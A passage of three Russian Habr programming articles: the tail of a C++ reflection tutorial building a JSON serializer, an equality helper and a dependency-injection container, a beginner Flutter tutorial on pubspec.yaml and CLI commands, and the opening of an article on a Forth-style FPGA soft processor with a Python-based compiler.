consteval bool is\_json\_nullable\_impl() {
if constexpr (meta::is\_specialization(^T)) {
return meta::template\_of(^T) == optional\_refl;
}
return false;
}
template
concept JsonNullable = is\_json\_nullable\_impl();
```
Теперь можно сериализовать объект в зависимости от того, какому концепту он удовлетворяет.
Особенность работы с концептамиВ своем видео Andrew Sutton дает мега-совет - поскольку один тип может удовлетворять нескольким концептам, то не надо писать код вроде:
```
template
void write(T const& t) { /\* ... \*/ }
template
void write(T const& t) { /\* ... \*/ }
template
void write(T const& t) { /\* ... \*/ }
```
Потому что рано или поздно можно попасть на неоднозначность выбора метода. Поэтому надо делать диспетчеризацию, проверяя концепты по приоритетности:
```
template
void write(T const& t) {
if constexpr (Concept1) {
write\_concept1(t);
} else if constexpr (Concept2) {
write\_concept2(t);
} else if constexpr (Concept3) {
write\_concept3(t);
}
}
```
Сделаем класс json\_writer, пусть он принимает объект, куда можно стримить выходной поток
```
template
class json\_writer {
public:
json\_writer(Out& out)
: \_out{out}
{}
// ... другой код ...
private:
Out& \_out;
};
```
Реализуем метод для сериализации, который будет "диспетчером" для разных JSON-типов:
```
template
void write(T const& t) {
if constexpr (JsonNullable) {
write\_nullable(t);
} else if constexpr (JsonNumber) {
write\_number(t);
} else if constexpr (JsonString) {
write\_string(t);
} else if constexpr (JsonBoolean) {
write\_boolean(t);
} else if constexpr (JsonArray) {
write\_array(t);
} else if constexpr (JsonObject) {
write\_object(t);
}
}
```
Методы, которые вызываются из `write`, могут естественным образом делать рекурсивный запрос в `write` снова. Реализуем запись nullable-типа:
```
template
void write\_nullable(T const& t) {
if (t.has\_value()) {
write(\*t);
} else {
\_out << "null";
}
}
```
Записи числового, строкового, булевого типов нерекурсивны:
```
template
void write\_number(const T t) {
\_out << t;
}
template
void write\_string(T const& t) {
\_out << '"' << t << '"';
}
template
void write\_boolean(const T t) {
if (t) {
\_out << "true";
} else {
\_out << "false";
}
}
```
Запись массива достаточно проста - надо только правильно ставить запятые, разделяющие объекты:
```
template
void write\_array(T const& t) {
\_out << '[';
bool is\_first\_item = true;
for (const auto& item : t) {
if (is\_first\_item) {
is\_first\_item = false;
} else {
\_out << ',';
}
write(item);
}
\_out << ']';
}
```
Запись объекта - самая сложная, нужно проитерироваться по членам структуры и записать каждый член отдельно:
```
template
void write\_object(T const& t) {
\_out << '{';
bool is\_first\_member = true;
template for (constexpr meta::info e : meta::members\_of(^T)) {
if constexpr (meta::is\_data\_member([:^e:])) {
if (is\_first\_member) {
is\_first\_member = false;
} else {
\_out << ',';
}
\_out << '"' << meta::name\_of(e) << '"';
\_out << ':';
write(t.[:e:]);
}
}
\_out << '}';
}
```
Создадим модель данных - пусть это будет библиотека, у которой несколько книг, один адрес, и опционально "описание"
```
namespace model {
struct book {
std::string name;
std::string author;
int year;
};
struct latlon {
double lat;
double lon;
};
struct library {
std::vector books;
std::optional description;
latlon address;
};
} // namespace model
```
Зададим библиотеке адрес, добавим несколько книг, и выведем ее в формате JSON:
```
int main() {
model::library l;
l.address = model::latlon{.lat = 51.507351, .lon = -0.127696};
l.books.push_back(model::book{
.name = "The Picture of Dorian Gray",
.author = "Oscar Wilde",
.year = 1890,
});
l.books.push_back(model::book{
.name = "Fahrenheit 451",
.author = "Ray Bradbury",
.year = 1953,
});
l.books.push_back(model::book{
.name = "Roadside Picnic",
.author = "Arkady and Boris Strugatsky",
.year = 1972,
});
json::json_writer{std::cout}.write(l);
std::cout << std::endl;
}
```
Программа выведет неотформатированный JSON:
```
{"books":[{"name":"The Picture of Dorian Gray","author":"Oscar Wilde","year":1890},{"name":"Fahrenheit 451","author":"Ray Bradbury","year":1953},{"name":"Roadside Picnic","author":"Arkady and Boris Strugatsky","year":1972}],"description":null,"address":{"lat":51.5074,"lon":-0.127696}}
```
Отформатированный вид такой:
```
{
"books": [
{
"name": "The Picture of Dorian Gray",
"author": "Oscar Wilde",
"year": 1890
},
{
"name": "Fahrenheit 451",
"author": "Ray Bradbury",
"year": 1953
},
{
"name": "Roadside Picnic",
"author": "Arkady and Boris Strugatsky",
"year": 1972
}
],
"description": null,
"address": {
"lat": 51.5074,
"lon": -0.127696
}
}
```
[Компиляция на godbolt](https://cppx.godbolt.org/z/hraGcG4qb)
Если бы сериализацию/десериализацию надо было сделать в реальном проекте, я бы посоветовал добавить "прокладку" в виде существующей json-библиотеки, например [nlohmann/json](https://github.com/nlohmann/json).
То есть мы бы переводили объект "нашей" структуры в объект из json-библиотеки, а этот объект уже конвертировался бы в строку. При десериализации наоборот - строка в json-объект, json-объект в "наш" объект.
Это нужно, чтобы не переизобретать велосипед - с "прокладкой" работать проще и надежнее, чем самому что-то парсить.
Такой же подход работает для XML, ORM в базу данных, и прочего.
### Универсальный метод сравнения двух объектов
Возьмем `model::book` из предыдущего кода. Если мы попытаемся сравнить два объекта этого типа, то получим ошибку компиляции
```
model::book a, b;
std::cout << (a == b) << std::endl; // тут ошибка компиляции
```
Можно выработать свои правила для универсального сравнения:
1. Если объекты можно сравнить, то есть вызов a == b скомпилируется, то результат сравнения - вызов этого оператора.
2. Если объект - итерируемый контейнер (как std::vector), то проверим, что размеры совпадают, и сравним каждый элемент контейнера.
3. Иначе проитерируемся по членам типа и сравним каждый член отдельно.
Для первого и второго пункта концепты пришлось написать самому, так как существующие не нашел...
```
namespace bicycle {
template
constexpr bool equality\_comparable = requires(const T& a, const T& b) {
std::is\_convertible\_v;
};
template
constexpr bool iterable = requires(const T& t, size\_t i) {
t[i];
std::begin(t);
std::end(t);
std::size(t);
};
} // namespace bicycle
```
Теперь напишем наш метод, как и планировали - с проверкой с первого по третий пункт? На самом деле нет - первый и второй пункт надо поменять местами
Концепты иногда работают не так, как ожидалиЕсли проверить первый концепт, то можно обнаружить подставу:
```
static_assert( bicycle::equality_comparable);
static\_assert( bicycle::equality\_comparable);
static\_assert( bicycle::equality\_comparable>);
static\_assert( bicycle::equality\_comparable>); // <<< :(
static\_assert(not bicycle::equality\_comparable);
static\_assert(not bicycle::equality\_comparable);
```
Сравнение двух объектов типа `model::book` не скомпилируется, так же, как типа `std::vector`. Но концепт резольвится в `true`!
Дело в том, что концепт смотрит на сигнатуру метода, а не на весь метод. Он видит, что у вектора оператор сравнения *объявлен*:
```
template< class T, class Alloc >
bool operator==( const std::vector& lhs,
const std::vector& rhs );
```
А в определение метода он не лезет, к тому же это может быть невозможно - определение может лежать в другом translation unit. То, что в итоге код не скомпилируется, для концепта это "уже не его проблемы".
Напишем наш метод:
```
namespace equal_util {
template
bool equal(const T& a, const T& b) {
if constexpr (bicycle::iterable) {
if (a.size() != b.size()) {
return false;
}
for (size\_t i = 0; i < a.size(); ++i) {
if (!equal(a[i], b[i]))
return false;
}
return true;
} else if constexpr (bicycle::equality\_comparable) {
return a == b;
} else {
template for (constexpr meta::info e : meta::members\_of(^T)) {
if constexpr (meta::is\_data\_member([:^e:])) {
if (!equal(a.[:e:], b.[:e:])) {
return false;
}
}
}
return true;
}
}
} // namespace equal\_util
```
Возможно, стоило бы для типов float и double сравнивать их разницу с эпсилоном... Но пока обойдемся без этих подарочков.
Проверим метод - в первый раз выведется `true`, во второй раз `false`, успех!
```
int main() {
model::library a, b;
a.address = model::latlon{.lat = 51.507351, .lon = -0.127696};
b.address = a.address;
a.books.push_back(model::book{
.name = "The Picture of Dorian Gray",
.author = "Oscar Wilde",
.year = 1890,
});
b.books = a.books;
std::cout << std::boolalpha;
std::cout << equal_util::equal(a, b) << std::endl;
b.books.clear();
std::cout << equal_util::equal(a, b) << std::endl;
}
```
[Компиляция на godbolt](https://cppx.godbolt.org/z/evYG8PfPM)
### Контейнер Dependency Injection
И наконец, мы сделаем собственный контейнер для Dependency Injection!
Этот паттерн программирования хардкорно используется, например, в Spring - самом популярном Java-фреймворке.
В модели управления обычно одни объекты зависят от других объектов. Далее будем писать "компонент" вместо "объект".
Смысл паттерна в том, что вместо того, чтобы компонент сам создавал зависимые компоненты, эти компоненты создавал бы *фреймворк*. И потом давал бы их компоненту через конструктор (все компоненты сразу) либо через сеттер-методы (по одному сеттер-методу на компонент).
Во многих случаях такой подход сильно упрощает программирование. В сложных проектах длина цепочки зависимостей может находиться за пределами возможностей человеческого мозга.
Создадим модель управления для сервиса а-ля "URL Shortener", который принимает длинные ссылки и отдает короткие (и наоборот). У нас будет, очень условно, четыре компонента (в реальности было бы побольше):
1. **s3\_storage** - сервис, который умеет брать картинку из s3-хранилища и возвращать ее.
2. **database** - сервис-"прокладка" для работы с базой данных
3. **link\_shortener** - сервис, принимающий длинную ссылку и возвращающий короткую (и наоборот). *Зависит* от **database**, где хранит соответствие между ссылками.
4. **http\_server** - сервис, обрабатывающие запросы по http. *Зависит* от **s3\_storage** (показ лого на сайте), **link\_shortener** (понятно для чего), **database** (куда пишет всякую статистику про посетителя сайта).
Зависимости в программеОпишем компоненты в коде:
```
namespace component {
class database {
public:
void post_construct() {
/* тут инициализируем подключение к БД */
}
/* тут некие методы об операциях в БД */
};
class link_shortener {
public:
void set_component(std::shared_ptr component) {
\_database = std::move(component);
}
/\* тут некие методы link\_shortener. \*/
/\* метод post\_construct() не нужен \*/
private:
std::shared\_ptr \_database;
};
class s3\_storage {
public:
/\* тут некие методы s3\_storage. \*/
/\* метод post\_construct() не нужен \*/
};
class http\_server {
public:
void set\_component(std::shared\_ptr component) {
\_s3\_storage = std::move(component);
}
void set\_component(std::shared\_ptr component) {
\_link\_shortener = std::move(component);
}
void set\_component(std::shared\_ptr component) {
\_database = std::move(component);
}
void post\_construct() {
/\* тут поднимаем http-сервер и ждём запросы \*/
}
private:
std::shared\_ptr \_s3\_storage;
std::shared\_ptr \_link\_shortener;
std::shared\_ptr \_database;
};
} // namespace component
```
Что должен сделать фреймворк:
1. Создать компоненты через `std::make_shared`, каждый компонент должен быть создан ровно один раз.
2. Вызвать `set_component` с готовыми зависимыми компонентами.
3. Когда все нужные `set_component` вызваны, вызвать метод `post_construct`, если он есть в классе. Сначала вызывается у зависимых компонент, потом у зависящих.
4. Когда "корневой компонент" (в нашем случае `http_server`) закончит работу `post_construct`, в правильном порядке уничтожить компоненты, чтобы на момент вызова деструктора все зависимые компоненты были "живы".
Создадим заготовку класса:
```
namespace dependency_injection {
static constexpr meta::info shared_ptr_refl = ^std::shared_ptr;
class components_builder {
public:
template
std::shared\_ptr build() && {
return build\_component\_impl();
}
private:
using ready\_components\_container = std::unordered\_map;
static constexpr std::string\_view COMPONENT\_INJECTION\_FUNCTION\_NAME = "set\_component";
static constexpr std::string\_view COMPONENT\_POST\_CONSTRUCT\_FUNCTION\_NAME = "post\_construct";
private:
// другие методы...
private:
ready\_components\_container \_ready\_components;
};
} // namespace dependency\_injection
```
Готовые компоненты хранятся в хешмапе. Значения хешмапы имеют тип `std::any`, потому что компоненты не имеют общего типа.
Создадим метод-"прокладку", который сначала ищет компонент в хешмапе, а если не найдет, то строит компонент:
```
// don't build component again if already has one built
template
std::shared\_ptr build\_or\_get\_component() {
std::shared\_ptr component;
constexpr std::string\_view comp\_name = meta::name\_of(meta::entity\_of(^Component));
if (auto \_ready\_iter = \_ready\_components.find(comp\_name); \_ready\_iter != \_ready\_components.end()) {
component = std::any\_cast(\_ready\_iter->second);
} else {
component = build\_component\_impl();
\_ready\_components[comp\_name] = component;
}
return component;
}
```
Чтобы построить компонент, надо создать его объект через `std::make_shared`, потом построить все зависимые компоненты и вызвать для каждого `set_component`, потом вызвать метод `post_construct` при его наличии.
```
template
std::shared\_ptr build\_component\_impl() {
auto component = std::make\_shared();
build\_dependent\_components(\*component);
try\_call\_post\_construct(\*component);
return component;
}
```
Сделаем вспомогательный метод, который определяет, имеем ли мы перед собой рефлексию метода с нужным именем:
```
template
static constexpr bool is\_callable\_function(std::string\_view expected\_function\_name) {
// drop special functions and non-public functions
if constexpr (meta::is\_function(R) && meta::is\_public(R) && !meta::is\_special\_member\_function(R)) {
constexpr std::string\_view function\_name = meta::name\_of(R);
return function\_name == expected\_function\_name;
}
return false;
}
```
Как мы можем определить зависимые компоненты:
1. Ищем все методы с названием `set_component`. Пусть мы зафиксировали один такой метод.
2. Проверяем, что в этом методе ровно один параметр.
3. Тип этого параметра должен являться специализацией шаблона `std::shared_ptr`.
4. Класс, которым был специализирован шаблон - это класс компонента, который нужно создать (или взять готовый, если есть).
5. Вызываем `set_component` с компонентом из п. 4.
С этим планом сделаем метод `build_dependent_components`:
```
template
void build\_dependent\_components(Component& component) {
template for (constexpr meta::info e : meta::members\_of(^Component)) {
// iterate through functions
if constexpr (is\_callable\_function(COMPONENT\_INJECTION\_FUNCTION\_NAME)) {
// the function should have exactly one parameter
constexpr auto param\_range = meta::parameters\_of(e);
static\_assert(size(param\_range) == 1, "Please pass only one parameter");
constexpr meta::info param = \*param\_range.begin();
// the type of the parameter should be std::shared\_ptr
constexpr meta::info param\_type = meta::type\_of(param);
static\_assert(meta::is\_specialization(param\_type), "Please pass std::shared\_ptr");
static\_assert(meta::template\_of(param\_type) == shared\_ptr\_refl, "Please pass std::shared\_ptr");
// obtain dependent component type
using SharedPtrType = typename [:param\_type:];
using DependentComponentType = typename SharedPtrType::element\_type;
// build the dependent component (if not built yet) and give it to the original component
auto dependent\_component = build\_or\_get\_component();
component.[:e:](dependent\_component);
}
}
}
```
Вызов `post_construct` выглядит проще:
```
template
void try\_call\_post\_construct(Component& component) {
template for (constexpr meta::info e : meta::members\_of(^Component)) {
if constexpr (is\_callable\_function(COMPONENT\_POST\_CONSTRUCT\_FUNCTION\_NAME)) {
constexpr auto param\_range = meta::parameters\_of(e);
static\_assert(size(param\_range) == 0, "Please don't pass parameters in \"post\_construct\"");
component.[:e:]();
}
}
}
```
Осталось только установить "корневой компонент" и запустить весь процесс:
```
int main() {
dependency_injection::components_builder().build();
}
```
Если для каждого компонента добавить лог имени вызываемого метода в конструкторе, деструкторе, `set_component` и `post_construct`, то можно увидеть, что именно делает фреймворк:
```
call "http_server::http_server()"
call "s3_storage::s3_storage()"
call "s3_storage::post_construct()" <<<<<<<<<< THE COMPONENT IS READY
call "http_server::set_component(std::shared_ptr)"
call "link\_shortener::link\_shortener()"
call "database::database()"
call "database::post\_construct()" <<<<<<<<<< THE COMPONENT IS READY
call "link\_shortener::set\_component(std::shared\_ptr)"
call "link\_shortener::post\_construct()" <<<<<<<<<< THE COMPONENT IS READY
call "http\_server::set\_component(std::shared\_ptr)"
call "http\_server::set\_component(std::shared\_ptr)"
call "http\_server::post\_construct()" <<<<<<<<<< THE COMPONENT IS READY
call "http\_server::~http\_server()"
call "link\_shortener::~link\_shortener()"
call "database::~database()"
call "s3\_storage::~s3\_storage()"
```
Фреймворк все делает правильно!
Из того, что можно добавить:
1. Проверку на циклы зависимостей - их быть не должно. Кажется, циклы возможно обнаружить в compile-time.
2. Можно зависеть от интерфейса, а не от реализации, "как в лучших домах Парижу".
Зависимость от интерфейса, а не от реализацииСервис `s3_storage` - это просто реализация сервиса по работе с хранилищем картинок.
Можно сделать так, чтобы `s3_storage` наследовался от интерфейса `image_storage`, и в `http_server` был бы метод `set_component(std::shared_ptr)`.
Рефлексия могла бы распарсить весь namespace, найти реализацию интерфейса, и создать его.
### Другие примеры рефлексивного программирования
Кроме примеров выше, я сделал [hasattr.cpp](https://cppx.godbolt.org/z/3dj4d8WrW) - имитация методов `hasattr` и `getattr` из языка Python, а также [opts.cpp](https://cppx.godbolt.org/z/cYerE1Ws9) - типизированный парсер командной строки.
Разбирать их я не стал, потому что новой информации там нет.
**Все примеры доступны на github** - [ссылка](https://github.com/Izaron/CxxReflectionSandbox).
Что хочется иметь от рефлексии в будущем?
-----------------------------------------
Часть методов (например, строковое представление значения enum) нужно иметь в стандартной библиотеке, чтобы не писать велосипеды.
Хочется, чтобы рефлексия умела работать с [атрибутами](https://en.cppreference.com/w/cpp/language/attributes), потому что без этого отнимается большой пласт крутых юзкейсов.
Когда рефлексия войдет в C++ - пока точно не известно, но вероятнее всего, успеют к стандарту C++26. | https://habr.com/ru/post/598981/ | null | ru | null |
# Основы Flutter для начинающих (Часть II)
Вступление
----------
Добрый денек!
Мы продолжаем изучать Flutter.
И в этой статье мы познакомимся с файлом pubspec.yaml, а также поработаем с Flutter в командной строке.
Ну что ж, приступим!
Наш план* [Часть 1](https://habr.com/en/post/560008/) - введение в разработку, первое приложение, понятие состояния;
* Часть 2 (текущая статья) - файл pubspec.yaml и использование flutter в командной строке;
* [Часть 3](https://habr.com/en/post/560646/) - BottomNavigationBar и Navigator;
* [Часть 4](https://habr.com/en/post/560806/)- MVC. Мы будем использовать именно этот паттерн, как один из самых простых;
* [Часть 5](https://habr.com/en/post/560964/) - http пакет. Создание Repository класса, первые запросы, вывод списка постов;
* [Часть 6](https://habr.com/en/post/561174/) - работа с формами, текстовые поля и создание поста.
* [Часть 7](https://habr.com/en/post/561614/) - работа с картинками, вывод картинок в виде сетки, получение картинок из сети, добавление своих в приложение;
* [Часть 8](https://habr.com/en/post/562136/) - создание своей темы, добавление кастомных шрифтов и анимации;
* [Часть 9](https://habr.com/en/post/562352/) - немного о тестировании;
Файл pubspec.yaml
-----------------
Расширение .yaml указывает на то, что мы используем YAML формат данных (более подробнее в [Википедии](https://ru.wikipedia.org/wiki/YAML)).
Это довольно простой формат, ориентированный на удобство представления данных.
pubspec.yaml находится в корневой директории проекта и служит для общей настройки, добавления зависимостей, шрифтов, картинок в ваш проект.
Немного об организации файлов:
* **.dart-tool** содержит информацию для Dart Tools (набор различных утилит для работы с кодом Dart)
* **.idea** была создана самой Android Studio и хранит настройки проекта
* **build** содержит файлы сборки, в том числе и наш release apk
* **ios** папка содержит нативный код iOS и предназначена для отдельной настройки iOS приложения, а также его публикации через XCode
* **android** папка содержит нативный код Android и предназначена для отдельной настройки Android приложения
* **lib** содержит непосредственно наш код на Dart
* **test** предназначена для тестов
Далее идет несколько файлов:
* **README.md** и **.gitignore** - это файлы Git
* о **pubspec.yaml** мы говорили выше, а **pubspec.lock** содержит информацию о версиях наших pub-пакетов.
* **.metadata** содержит необходимую информацию для обновления Flutter
* **.packages** дополнительная информация о пакетах
Рассмотрим минимальный pubspec.yaml:
```
# имя Flutter приложения
# обычно данное имя используется в качестве
# названия pub-пакета. Это важно лишь в том случае,
# если вы разрабатываете свой pub-пакет и собираетесь
# выложить его в общий доступ
# как я уже отметил имя Android и iOS приложения впоследствии
# можно будет изменить отдельно для каждой из платформ
name: json_placeholder_app
# краткое описание на английском
description: json_placeholder_app is an demo application
# в данном случае мы не собираемся
# опубликовывать pub-пакет и поэтому
# запрещаем команду flutter publish
publish_to: 'none'
# версия Android и iOS приложения
# состоит из 2 частей, разделенных знаком плюса
# первая часть - это имя версии, которое будет
# видно для пользователей, например 1.1.5
# вторая часть позволяет Google Play и Apple Store
# отличать разные версии нашего приложения (например: 5)
version: 1.0.0+1
# версия Dart SDK
environment:
sdk: ">=2.7.0 <3.0.0"
# блок зависимостей
dependencies:
flutter:
sdk: flutter
# использование иконок для Cupertino компонентов
# Cupertino компоненты - это компоненты в стили iOS
# В данном приложении мы не будем использовать их и поэтому
# удалим ненужный pub-пакет
#cupertino_icons: ^1.0.2
# зависимости для разработки
# в данном случае подключено тестирование
dev_dependencies:
flutter_test:
sdk: flutter
# в данной секции вы можете подключить шрифты и assets файлы
# об этом мы поговорим позже
flutter:
# указываем, что мы используем MaterialApp иконки и наше
# приложение соответствует Material Design
uses-material-design: true
```
Немного о pub-пакетах
Все pub-пакеты расположены на [pub.dev](https://pub.dev/packages). Здесь вы можете найти довольно большое количество интересных и полезных пакетов и плагинов для ваших приложений.
Все pub-пакеты делятся на собственно пакеты и плагины.
В чем же отличие пакета от плагина?
Пакет - это код на Dart с pubspec.yaml файлом, а плагин - подвид пакета, который содержит нативный код какой-либо платформы.
Например плагин [camera](https://pub.dev/packages/camera) позволяет получить доступ к камере на Android и iOS устройствах и содержит нативный код отдельно для Android (папка **android**) и отдельно для iOS (папка **ios**)
Добавление зависимостей
-----------------------
Настало время подключить необходимые библиотеки в наш проект, которые мы впоследствии будем использовать на протяжении всей разработки нашего приложения.
Для этого нам нужно указать необходимые pub пакеты в блоке зависимостей:
```
# имя Flutter приложения
# обычно данное имя используется в качестве
# названия pub-пакета. Это важно лишь в том случае,
# если вы разрабатываете свой pub-пакет и собираетесь
# выложить его в общий доступ
# как я уже отметил имя Android и iOS приложения впоследствии
# можно будет изменить отдельно для каждой из платформ
name: json_placeholder_app
# краткое описание на английском
description: json_placeholder_app is an demo application
# в данном случае мы не собираемся
# опубликовывать pub-пакет и поэтому
# запрещаем команду flutter publish
publish_to: 'none'
# версия Android и iOS приложения
# состоит из 2 частей, разделенных плюсом
# первая часть - это имя версии, которое будет
# видно для пользователей, например 1.1.5
# вторая часть позволяет Google Play и Apple Store
# отличать разные версии нашего приложения (например: 5)
version: 1.0.0+1
# версия Dart SDK
environment:
sdk: ">=2.7.0 <3.0.0"
# блок зависимостей
dependencies:
flutter:
sdk: flutter
# подключение необходимых pub-пакетов
# используется для произвольного размещения
# компонентов в виде сетки
flutter_staggered_grid_view: ^0.4.0
# мы будем использовать MVC паттерн
mvc_pattern: ^7.0.0
# большая часть данных будет браться из сети,
# поэтому мы будем использовать http для
# осуществления наших запросов
http: ^0.13.3
# зависимости для разработки
# в данном случае подключено тестирование
dev_dependencies:
flutter_test:
sdk: flutter
# в данной секции вы можете подключить шрифты и assets файлы
# об этом мы поговорим позже
flutter:
# указываем, что мы используем MaterialApp иконки и наше
# приложение соответствует Material Design
uses-material-design: true
```
Пока на этом все!
Flutter в командной строке
--------------------------
Для начала нужно запустить командную строку или терминал.
У меня Debian 10, поэтому я буду использовать терминал.
Теперь надо определить местоположения главного flutter скрипта.
Возможно во время установки Flutter вы установили переменные окружения и теперь вы можете использовать команды Flutter без указания пути:
В противном случае вам нужно прописать полный путь к Flutter:
В директории Flutter есть папка **bin**, в которой лежит главный скрипт - flutter.
Данный скрипт позволяет собирать и очищать ваш проект, загружать зависимости, управлять устройствами, на которых приложение будет выполняться, а также обновлять сам Flutter.
Ну что ж давайте пройдемся по основным командам.
#### Создание проекта
Для создания нового проекта нужно воспользоваться командой:
```
# также перед созданием проекта можно отключить web поддержку
# с помощью команды: flutter config --no-enable-web
flutter create new_flutter_app
```
Результат:
#### Установка зависимостей
Для установки зависимостей нужно выполнить:
```
flutter pub get
```
Вы также можете использовать встроенный терминал в Android Studio:
#### Получение доступных устройств
```
flutter devices
```
Результат:
Здесь мы видем мой Honor и Chrome браузер (т.к. включена web поддержка)
#### Запуск
Для запуска нужно указать устройство через параметр -d
```
flutter run -d JYXNW20805003141
```
Результат:
#### Получение скрина
Теперь когда мы запустили наше приложение, мы можем получить скрин с экрана нашего устройства c помощью команды:
```
# -d указываем устройство
# -o путь в файлу, куда будет сохранен наш скрин
flutter screenshot -d JYXNW20805003141 -o ~/Downloads/screen_1.png
```
Результат:
Скрин:
#### Сборка релиза
Не будем вдаваться в глубокие подробности сборки приложения.
Данный этап мы рассмотрим в заключительных уроках.
Для создания release apk выполните:
```
flutter build apk --release
```
Результат:
В данном случае мы имеем неподписанный apk с набором всех архитектур (armeabi-v7a, arm64-v8a и 86\_64).
Лучшим вариантом является использование опции --split-per-abi для разделения архитектур по разным файлам:
```
flutter build apk --split-per-abi
```
Результат:
#### Допольнительные команды
Определение версии Flutter:
```
flutter --version
```
Обновление Flutter:
```
flutter upgrade
```
Чтобы получить справку по какой-либо команде нужно использовать --help опцию:
```
flutter create --help
```
Результат:
Заключение
----------
Как и предыдущая, статья получилось довольно информативной и без лишней воды.
Ну что ж поздравляю вас, если вы дочитали до конца, надеюсь вы узнали что-то полезное для себя.
Не забывайте оставлять пожелания в комментах.
Далее переходим к навигации. | https://habr.com/ru/post/560282/ | null | ru | null |
# Собственный софт-процессор на ПЛИС с компилятором языка высокого уровня или Песнь о МышЕ
Собственный софт-процессор на ПЛИС с компилятором языка высокого уровня или Песнь о МышЕ — опыт адаптации компилятора языка высокого уровня к стековому процессорному ядру.
Распространенной проблемой для софт-процессоров является отсутствие средств разработки для них, особенно, если их система команд не является подмножеством команд одного их популярных процессорных ядер. Разработчики в этом случае вынуждены будут решать эту проблему. Прямым её решением является создание компилятора языка ассемблера. Однако в современных реалиях не всегда удобно работать на Ассемблере, так как в процессе развития проекта может изменяться система команд в связи, например, с изменившимися требованиями. Поэтому задача легкой реализации компилятора языка высокого уровня (ЯВУ) для софт-процессора является актуальной.
Компилятор языка Python — Uzh представляется легким и удобным инструментарием для разработки программного обеспечения для софт-процессоров. Инструментарий определения примитивов и макросов как функций целевого языка позволяет критичные места реализовывать на ассемблере процессора. В данной работе рассмотрены основные моменты адаптации компилятора для процессоров стековой архитектуры.
Вместо эпиграфа:
*Если взрослого мыша
Взять и, бережно держа,
Напихать в него иголок
Вы получите ежа.
Если этого ежа,
Нос заткнув, чтоб не дышал,
Где поглубже, бросить в речку
Вы получите ерша.
Если этого ерша,
Головой в тисках зажав,
Посильней тянуть за хвост
Вы получите ужа.
Если этого ужа,
Приготовив два ножа…
Впрочем, он наверно сдохнет,
Но идея хороша!*
### Введение
Во многих случаях при реализации измерительных приборов, научно-исследовательского оборудования в качестве основного ядра системы предпочтительнее применять реконфигурируемые решения на базе ПЛИС/FPGA. Данный подход имеет множество преимуществ, благодаря возможности легкого и быстрого внесения изменений в логику работы, а также за счет аппаратного ускорения операций обработки данных и сигналов управления.
Для широкого круга задач, таких, как цифровая обработка сигналов, встраиваемые системы управления, системы сбора и анализа данных, хорошо зарекомендовал себя подход, заключающийся в сочетании в одном решении блоков, реализуемых логикой ПЛИС для критических процессов, и элементов программного управления на основе одного или нескольких софт-процессоров для общего управления и координации, а также для реализации взаимодействия с пользователем или внешними устройствами/узлами. Применение софт-процессоров в данном случае позволяет несколько снизить временные затраты на отладку и верификацию алгоритмов управления системой или алгоритмов взаимодействия отдельных узлов.
### Типовые «хотелки»
Зачастую от софт-процессоров в данном случае не требуется сверхвысокая производительность (т.к. её проще добиться, использую логические и аппаратные ресурсы ПЛИС). Они могут быть достаточно простыми (а с точки зрения современных микроконтроллеров – почти примитивными), т.к. они могут обойтись без сложной системы прерываний, работать только с определенными узлами или интерфейсами, нет необходимости поддерживать ту или иную систему команд. Их может быть много, при этом каждый из них может выполнять только определенный набор алгоритмов или подпрограмм. Разрядность софт-процессоров также может быть любой, в том числе не кратной байту – в зависимости от требований текущей задачи.
Типовыми целевыми показателями для софт-процессоров являются:
* достаточная функциональность системы команд, возможно оптимизированная под задачу;
* высокая плотность программного кода, т.к. это позволит экономить ресурсы памяти ПЛИС;
* компактность – не хотелось бы, чтобы вспомогательные элементы занимали дефицитные ресурсы программируемой логики.
Безусловно, некоторой проблемой для софт-процессоров является отсутствие средств разработки для них, особенно, если их система команд не является подмножеством команд одного их популярных процессорных ядер. Разработчики в этом случае вынуждены будут решать эту проблему. Прямым её решением является создание компилятора языка Ассемблера для софт-процессора. Однако в современных реалиях не всегда удобно работать на Ассемблере, особенно если в процессе развития проекта будет изменяться система команд в связи, например, с изменившимися требованиями. Поэтому к выше перечисленным требованиям логично добавить еще требование легкой реализации компилятора языка высокого уровня (ЯВУ) для софт-процессора.
### Исходные компоненты
Этим требованиям с большим процентом соответствия удовлетворяют стековые процессоры, т.к. нет необходимости адресовать регистры, разрядность команды может быть небольшой.
Разрядность данных для них может варьироваться и не привязана к разрядности системы команд. Являясь де-факто (пусть и с небольшими оговорками) аппаратной реализацией промежуточного представления программного кода при компиляции (виртуальная стековая машина, или в терминах контекстно-свободных грамматик – магазинный автомат) позволяют с низкими трудозатратами перевести грамматику любого языка в исполнимый код. Кроме того, для стековых процессоров практически «родным» языком является язык Форт. Трудозатраты на реализацию Форт-компилятора для стекового процессора сравнимы с затратами на Ассемблер, при гораздо большей гибкости и эффективности в реализации программ в дальнейшем.
Имея задачу на построение системы сбора данных с интеллектуальных датчиков в режиме, близком к режиму реального времени, в качестве опорного решения (т.н. Reference Design) софт-процессора был выбран Форт-процессор, описанный в работах [[1](https://m.habr.com/ru/post/149686/)] (в дальнейшем будет иногда называться как процессор whiteTiger по нику его автора).
Его основные особенности:
* раздельные стеки данных и возвратов;
* гарвардская архитектура организации памяти (раздельные памяти программ и данных, включая и адресное пространство);
* расширение периферийными устройствами при помощи простой параллельной шины.
* В процессоре не используется конвейер, выполнение команд двухтактное:
1. выборка команды и операндов;
2. исполнение команды и сохранение результата.
Процессор дополнен UART-загрузчиком программного кода, что позволяет менять исполняемую программу без перекомпиляции проекта для ПЛИС.
С оглядкой на конфигурацию блочной памяти в ПЛИС разрядность команд установлена равной 9 бит. Разрядность данных задана в 32 бита, но может быть в принципе любой.
Код процессора написан на VHDL без применения каких-либо специфических библиотек, что позволяет работать с данным проектом на ПЛИС от любого производителя.
Для относительно широкого применения, снижения «входного порога», а также для повторного использования кода и применения наработок кода, целесообразнее перейти на ЯВУ, отличный от Форта (отчасти это связано с суевериями и заблуждениями майн-стрим программистов относительно сложностей данного языка и читабельности его кода (к слову, один из авторов данной работы аналогичного мнения о С-подобных языках)).
Исходя из ряда факторов для эксперимента по «привязке» софт-процессора и ЯВУ был выбран язык Питон (Python). Это высокоуровневый язык программирования общего назначения, ориентированный на повышение производительности разработчика и читаемости кода, поддерживающий несколько парадигм программирования, в том числе структурное, объектно-ориентированное, функциональное, императивное и аспектно-ориентированное [[2](https://ru.wikipedia.org/wiki/Python)].
Для начинающих разработчиков интересно его расширение MyHDL [[3](http://www.myhdl.org), [4](https://m.habr.com/ru/post/439638/)], позволяющее описывать аппаратные элементы и структуры на Python и транслировать их в код на VHDL или Verilog.
